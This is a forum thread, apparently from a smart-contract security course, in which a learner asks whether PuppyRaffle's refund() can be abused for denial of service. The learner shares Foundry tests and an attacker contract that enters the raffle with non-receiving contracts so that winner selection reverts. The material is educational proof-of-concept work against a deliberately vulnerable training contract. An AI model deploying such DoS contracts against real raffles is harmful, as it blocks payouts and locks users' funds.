Using PuppyRaffle::refund() for DoS #304
-
Hi, I am curious in the Security Section 4 we covered Denial of service attacks via gas consumption. In researching other DoS vectors, I found having a contract that cannot receive funds can be a potential DoS vector if the vulnerable contract can send funds. I wanted to see if the PuppyRaffle::refund() could be used as a DoS vector by a contract that sends but does not receive. I ran a test but it passed...but for the wrong reasons. Im not sure if I am going down a rabbit-hole or onto something. A little guidance would be appreciate. Is it possible with the PuppyRaffle contract? TestSuite
Below is my test Suite: function setUp() public{
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
attacker = new DoSViaRefund(puppyRaffle);
}
modifier normalPlayers(){
address[] memory players = new address[](10);
for(uint256 i=0; i <10;i++){
players[i] = address(i);
}
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
_;
}
function testDoSViaRefund() public normalPlayers {
//Attacker Calling function
uint256 attackerContractBalanceBefore = address(attacker).balance; //should be 0
console.log("Attacker Contract Before: ", attackerContractBalanceBefore);
//Approach 1: Did not work due to not being able to use vm.expectRevert because main contract is using an older solidity version
//attacker.attack{value: 1 ether}();
//Approach2: test passes but not because of the require/success statements are working
(bool success,) = address(attacker).call{value: 1 ether}(abi.encodeWithSelector(attacker.attack.selector));
require(!success,"Attack did not revert as expected");
uint256 attackerContractBalanceAfter = address(attacker).balance; //should be
uint256 expectedBalance = 0.5 ether;
//assert(address(attacker).balance == expectedBalance); //when this line in present there is a "InvalidFEOpcode" error
console.log("Attacker Contract After: ",attackerContractBalanceAfter);
//Thoughts: thinking of adding code to send another group of players to see if the contract is responding.
}
The function in the attacker contract is: function attack() public payable{
address[] memory attacker = new address[](1);
attacker[0] = address(this);
victim.enterRaffle{value: 0.5 ether}(attacker);
attackerIndex = victim.getActivePlayerIndex(address(this));
victim.refund(attackerIndex);
} Here is a screenshot of my console when the test suite is run: |
Beta Was this translation helpful? Give feedback.
Replies: 2 comments 8 replies
-
Interesting, So how does a single address that enters the raffle not being able to receive funds affect the protocol and other players? |
Beta Was this translation helpful? Give feedback.
-
I wrote a test that plays
function attack() public payable{
address[] memory attacker = new address[](1);
attacker[0] = address(this);
victim.enterRaffle{value: 0.5 ether}(attacker);
}
function setUp() public{
puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
attacker1 = new DoSViaRefund(puppyRaffle);
attacker2 = new DoSViaRefund(puppyRaffle);
attacker3 = new DoSViaRefund(puppyRaffle);
attacker4 = new DoSViaRefund(puppyRaffle);
}
function testDoSByWinner() public {
console.log("Before: The number of players is: ", puppyRaffle.getPlayers());
//Arrange: making the 4 malicious contracts join
attacker1.attack{value: 1 ether}(); //funding and calling contract to execute simultaneously
attacker2.attack{value: 1 ether}(); //funding and calling contract to execute simultaneously
attacker3.attack{value: 1 ether}(); //funding and calling contract to execute simultaneously
attacker4.attack{value: 1 ether}(); //funding and calling contract to execute simultaneously
console.log("After entering: The number of players is: ", puppyRaffle.getPlayers());
uint256 puppyRaffleBalance = 2 ether;
assertEq(address(puppyRaffle).balance, puppyRaffleBalance);
//Act: forcing the raffle to execute
vm.warp(block.timestamp + duration + 1); //will force the raffle to execute
//Assert: Something should be broken
//The funds could not be sent
vm.expectRevert();
puppyRaffle.selectWinner(); //initializing selecting winner
console.log("The winner was: ", puppyRaffle.previousWinner());
//Adding new players Round2
uint256 numPlayers = 40;
address[] memory players = new address[](numPlayers);
for(uint256 i=0; i < numPlayers;i++){
players[i] = address(i);
}
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
console.log("The puppyRaffle contract balance is: ", address(puppyRaffle).balance);
console.log("The number of players is: ", puppyRaffle.getPlayers());
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner(); //initializing selecting winner
address winner2 = puppyRaffle.previousWinner(); //asking who was the winner?
console.log("The winner was: ", winner2);
console.log("the puppy Raffle balance is: ", address(puppyRaffle).balance);
//Adding New PLyers round3
uint256 numPlayers3 = 40;
address[] memory players3 = new address[](numPlayers3);
for(uint256 i=0; i < numPlayers3;i++){
players[i] = address(i);
}
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
console.log("The puppyRaffle contract balance is: ", address(puppyRaffle).balance);
console.log("The number of players is: ", puppyRaffle.getPlayers());
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner(); //initializing selecting winner
address winner3 = puppyRaffle.previousWinner(); //asking who was the winner?
console.log("The winner was: ", winner3);
console.log("the puppy Raffle balance is: ", address(puppyRaffle).balance);
} |
Beta Was this translation helpful? Give feedback.
Interesting, I like this theories you are drawing out.